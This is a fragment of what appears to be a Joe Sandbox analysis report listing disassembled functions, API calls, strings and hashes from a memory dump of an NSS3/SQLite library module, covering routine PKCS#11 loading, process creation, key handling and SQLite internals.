Part of subcall function 6C580600: GetLastError.KERNEL32(?,?,?,?,?,6C5805E2), ref: 6C580642
Part of subcall function 6C580600: TlsGetValue.KERNEL32(?,?,?,?,?,6C5805E2), ref: 6C58065D
Part of subcall function 6C580600: GetLastError.KERNEL32 ref: 6C580678
Part of subcall function 6C580600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C58068A
Part of subcall function 6C580600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C580693
Part of subcall function 6C580600: PR_SetErrorText.NSS3(00000000,?), ref: 6C58069D
Part of subcall function 6C580600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,FA097650,?,?,?,?,?,6C5805E2), ref: 6C5806CA
Part of subcall function 6C580600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C5805E2), ref: 6C5806E6

PR_EnterMonitor.NSS3 ref: 6C5CC0F2
PR_ExitMonitor.NSS3 ref: 6C5CC10E
PR_ExitMonitor.NSS3 ref: 6C5CC081

Part of subcall function 6C659440: TlsGetValue.KERNEL32 ref: 6C65945B
Part of subcall function 6C659440: TlsGetValue.KERNEL32 ref: 6C659479
Part of subcall function 6C659440: EnterCriticalSection.KERNEL32 ref: 6C659495
Part of subcall function 6C659440: TlsGetValue.KERNEL32 ref: 6C6594E4
Part of subcall function 6C659440: TlsGetValue.KERNEL32 ref: 6C659532
Part of subcall function 6C659440: LeaveCriticalSection.KERNEL32 ref: 6C65955D

PR_EnterMonitor.NSS3 ref: 6C5CC068

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

Part of subcall function 6C580600: GetProcAddress.KERNEL32(?,?), ref: 6C580623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C5CC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C5CC183
free.MOZGLUE(00000000), ref: 6C5CC18E
PR_LoadLibrary.NSS3(?), ref: 6C5CC1A3
PR_EnterMonitor.NSS3 ref: 6C5CC1D4
PR_ExitMonitor.NSS3 ref: 6C5CC1F3
PR_CallOnce.NSS3(6C6F2318,6C5CCA70), ref: 6C5CC210
PR_EnterMonitor.NSS3 ref: 6C5CC22B
PR_ExitMonitor.NSS3 ref: 6C5CC247
PR_EnterMonitor.NSS3 ref: 6C5CC26A
PR_ExitMonitor.NSS3 ref: 6C5CC287
PR_UnloadLibrary.NSS3(?), ref: 6C5CC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C5CC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5CC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C5CC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C5CC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C5CC7B5
PR_UnloadLibrary.NSS3(?), ref: 6C5CC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C5CC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5CC8BF
PORT_Alloc_Util.NSS3(?), ref: 6C5CC8D5
free.MOZGLUE(00000000), ref: 6C5CC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5CC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5CC9E5
free.MOZGLUE(00000000), ref: 6C5CCA5A

Strings

NSC_GetInterface, xrefs: 6C5CC04F
PKCS 11, xrefs: 6C5CC2F9, 6C5CC314
nss_mod_log, xrefs: 6C5CC3CC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C5CC38D
NSC_GetFunctionList, xrefs: 6C5CC093
NSS_DISABLE_UNLOAD, xrefs: 6C5CC7B0
Vendor NSS FIPS Interface, xrefs: 6C5CC34A
FC_GetFunctionList, xrefs: 6C5CC098
NSS_ReturnModuleSpecData, xrefs: 6C5CC275
FC_GetInterface, xrefs: 6C5CC054
NSC_ModuleDBFunc, xrefs: 6C5CC0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C5CC77D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 319c7162af4c0e6d6577b75338851a535887ae5c5bf49c1e7bb4f329d631f0b4
Instruction ID: 1c6de3bc33b828c9bab2885c9155fe22264b94e1b0a93eddc14854d5a0274195
Opcode Fuzzy Hash: 319c7162af4c0e6d6577b75338851a535887ae5c5bf49c1e7bb4f329d631f0b4
Instruction Fuzzy Hash: C84270B1B042448FDB00DF96EC8AB5A3BB2FB46348F14002DD9259BB11E735E955CF9A

Function 6C6A3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C6A3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A3FFE
malloc.MOZGLUE(-00000003), ref: 6C6A4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6DFC62), ref: 6C6A404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6A407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6A40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6A40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6A4112
malloc.MOZGLUE(00000000), ref: 6C6A411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C6A414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6A4160
free.MOZGLUE(?), ref: 6C6A416C
malloc.MOZGLUE(?), ref: 6C6A41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C6A41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C6A4520), ref: 6C6A4244
GetEnvironmentStrings.KERNEL32 ref: 6C6A424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A42E4
malloc.MOZGLUE(00000002), ref: 6C6A42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6A4342
GetStdHandle.KERNEL32(000000F6), ref: 6C6A43AB
GetStdHandle.KERNEL32(000000F5), ref: 6C6A43B2
GetStdHandle.KERNEL32(000000F4), ref: 6C6A43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6A4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6A4410

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C6A445E
CloseHandle.KERNEL32(?), ref: 6C6A446B
free.MOZGLUE(?), ref: 6C6A4482
free.MOZGLUE(00000000), ref: 6C6A4492
free.MOZGLUE(00000000), ref: 6C6A44A4
GetLastError.KERNEL32 ref: 6C6A44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C6A44BE
free.MOZGLUE(?), ref: 6C6A44C7
free.MOZGLUE(00000000), ref: 6C6A44D5
free.MOZGLUE(00000000), ref: 6C6A44EA

Strings

=, xrefs: 6C6A44F8
NSPR_INHERIT_FDS=, xrefs: 6C6A41E9
D, xrefs: 6C6A4396

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 2ef825e2e67ed0cb5088513124165a74d7e09a0d319796fbcc80ed2331d88a69
Instruction ID: e693705ee0e2f5b792e19094adbc840045bab164d9e89be6581a025e9e85d641
Opcode Fuzzy Hash: 2ef825e2e67ed0cb5088513124165a74d7e09a0d319796fbcc80ed2331d88a69
Instruction Fuzzy Hash: E502F970E043519FEB109FAACC807BEBBB4AF56308F245129DC56A7741DBB1AC06CB59

Function 6C5B6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C6BA8EC,0000006C), ref: 6C5B6DC6
memcpy.VCRUNTIME140(?,6C6BA958,0000006C), ref: 6C5B6DDB
memcpy.VCRUNTIME140(?,6C6BA9C4,00000078), ref: 6C5B6DF1
memcpy.VCRUNTIME140(?,6C6BAA3C,0000006C), ref: 6C5B6E06
memcpy.VCRUNTIME140(?,6C6BAAA8,00000060), ref: 6C5B6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B6E38

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C5B6E76
TlsGetValue.KERNEL32 ref: 6C5B726F
EnterCriticalSection.KERNEL32(?), ref: 6C5B7283

Strings

!, xrefs: 6C5B7123

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 9a7a0f395cc149438a1d32ecfc859c4649cbd07c27ae6698e819585a55b5068a
Instruction ID: c64449466014ce93b43b0616eceaa151ae54a9aabdb5c4c18d94591983808ff6
Opcode Fuzzy Hash: 9a7a0f395cc149438a1d32ecfc859c4649cbd07c27ae6698e819585a55b5068a
Instruction Fuzzy Hash: 7E729D75D05219DFDF60CF28CC98B9ABBB5AF49304F1441A9E80DA7701EB31AA84CF91

Function 6C523C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C523C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C523D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C523EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C523ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C523F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C524052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C52410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C524452, 6C524486, 6C5244EA, 6C524571, 6C524580, 6C52458F, 6C52475A, 6C5247FA
%s at line %d of [%.10s], xrefs: 6C524495, 6C5244F9, 6C52459E, 6C524769, 6C524809
database corruption, xrefs: 6C524490, 6C5244F4, 6C524599, 6C524764, 6C524804

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: f522f8a0bf9a4b3b59641e2d67ebc9471b98a3c9afb213eb2e77b62a52380275
Instruction ID: 8f8fc2406341dc94e4ca8bac734bced64d69e58a79a660d3fd077cc772a2e42c
Opcode Fuzzy Hash: f522f8a0bf9a4b3b59641e2d67ebc9471b98a3c9afb213eb2e77b62a52380275
Instruction Fuzzy Hash: 3C829075A00205CFCB04CF69C880B9EB7F6BF89318F258599D905ABB91D739EC42CB95

Function 6C5FAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C5FACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C5FACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C5FACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C5FAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5FADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FADF0

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5FB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5FB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5FB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C5FB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FB40C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 7f383dc1c15d68dcfe2c5e7d740f20df7c9669c96297a8b071c60a45e37672ea
Instruction ID: 6afc9a749598419052a42d2ed8e51857c50341a9e0b8f0c028028f0f81d17555
Opcode Fuzzy Hash: 7f383dc1c15d68dcfe2c5e7d740f20df7c9669c96297a8b071c60a45e37672ea
Instruction Fuzzy Hash: CD22BFB1904301EFE714DF14CC44B9A77E5AF84308F248928E8695F792E772E85ACF96

Function 6C541F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5425F3

Strings

%s.%s.%s, xrefs: 6C54302D
H, xrefs: 6C54329F
too many columns in result set, xrefs: 6C543012
'%s' is not a function, xrefs: 6C542FD2
a NATURAL join may not have an ON or USING clause, xrefs: 6C5432C1
cannot have both ON and USING clauses in the same join, xrefs: 6C5432B5
H, xrefs: 6C54322D
access to view "%s" prohibited, xrefs: 6C542F4A
recursive reference in a subquery: %s, xrefs: 6C5422E5
multiple recursive references: %s, xrefs: 6C5422E0
no tables specified, xrefs: 6C5426BE
%s.%s, xrefs: 6C542D68
no such index: "%s", xrefs: 6C54319D
no such table: %s, xrefs: 6C5426AC
too many references to "%s": max 65535, xrefs: 6C542FB6
unsafe use of virtual table "%s", xrefs: 6C5430D1
cannot join using column %s - column not present in both tables, xrefs: 6C5432AB
table %s has %d values for %d columns, xrefs: 6C54316C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: ca439a9b28aa7ca50bea9c302c0b9a395cf9d88892b9a3a644348b833d5b9120
Instruction ID: f76f7c66dc9601b4e17877b164162b3f67646d4e01a82aa5895a46d4a390e46a
Opcode Fuzzy Hash: ca439a9b28aa7ca50bea9c302c0b9a395cf9d88892b9a3a644348b833d5b9120
Instruction Fuzzy Hash: EBD25D74E04219DFDB04CF95CC88B9DB7B2BF89318F28C169D855ABB52DB31A846CB50

Function 6C57ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C57ED38

Part of subcall function 6C514F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C514FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C57EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C57EFE4

Part of subcall function 6C63DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C515001,?,00000003,00000000), ref: 6C63DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C57F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C57F129
sqlite3_mprintf.NSS3(optimize), ref: 6C57F1D1
sqlite3_free.NSS3(?), ref: 6C57F368

Strings

simple, xrefs: 6C57ED79
snippet, xrefs: 6C57EF05, 6C57EF37, 6C57EF7C
fts4, xrefs: 6C57F2AD
fts3tokenize, xrefs: 6C57F30F
porter, xrefs: 6C57ED97
fts3, xrefs: 6C57F247
fts4aux, xrefs: 6C57ECF9
optimize, xrefs: 6C57F199, 6C57F1CC, 6C57F211
matchinfo, xrefs: 6C57F04F, 6C57F082, 6C57F0C2, 6C57F0F2, 6C57F124, 6C57F169
fts3_tokenizer, xrefs: 6C57EE1A, 6C57EEA8
unicode61, xrefs: 6C57EDB5
offsets, xrefs: 6C57EFAF, 6C57EFDF, 6C57F01F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: c64c2978248adbfefb32fcb603575093be5bdc8b5beaa6e14521cffc1e10eae5
Instruction ID: bd731b5d222b60b89aeea6f1df3182247ed267c527752fa3ed1454f48162fe94
Opcode Fuzzy Hash: c64c2978248adbfefb32fcb603575093be5bdc8b5beaa6e14521cffc1e10eae5
Instruction Fuzzy Hash: 3302C3B1B043009BE714EF36AC8573B36B2AFC5208F14463DD85A87F45EB74E89587A6

Function 6C5F7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C5F7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5F7D1E

Part of subcall function 6C5F7870: SECOID_FindOID_Util.NSS3(?,?,?,6C5F91C5), ref: 6C5F788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C5F7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C5F7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5F7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5F7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C5F7E58

Part of subcall function 6C5F7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F91C5), ref: 6C5F78BB
Part of subcall function 6C5F7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C5F91C5), ref: 6C5F78FA
Part of subcall function 6C5F7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C5F91C5), ref: 6C5F7930
Part of subcall function 6C5F7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F91C5), ref: 6C5F7951
Part of subcall function 6C5F7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F7964
Part of subcall function 6C5F7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5F797A
Part of subcall function 6C5F7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C5F7988
Part of subcall function 6C5F7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C5F7998
Part of subcall function 6C5F7870: free.MOZGLUE(00000000), ref: 6C5F79A7
Part of subcall function 6C5F7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C5F91C5), ref: 6C5F79BB
Part of subcall function 6C5F7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C5F91C5), ref: 6C5F79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5F7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5F7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C5F8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5F8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C5F8093
SECOID_FindOID_Util.NSS3 ref: 6C5F7F29

Part of subcall function 6C5F07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C598298,?,?,?,6C58FCE5,?), ref: 6C5F07BF
Part of subcall function 6C5F07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5F07E6
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F081B
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C5F8072
SECOID_FindOID_Util.NSS3 ref: 6C5F80F5

Part of subcall function 6C5FBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C5F800A,00000000,?,00000000,?), ref: 6C5FBC3F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 77c4ce5037a9e9afcf90e4831838fbd4cc13c5b208671fd2b85841d657371292
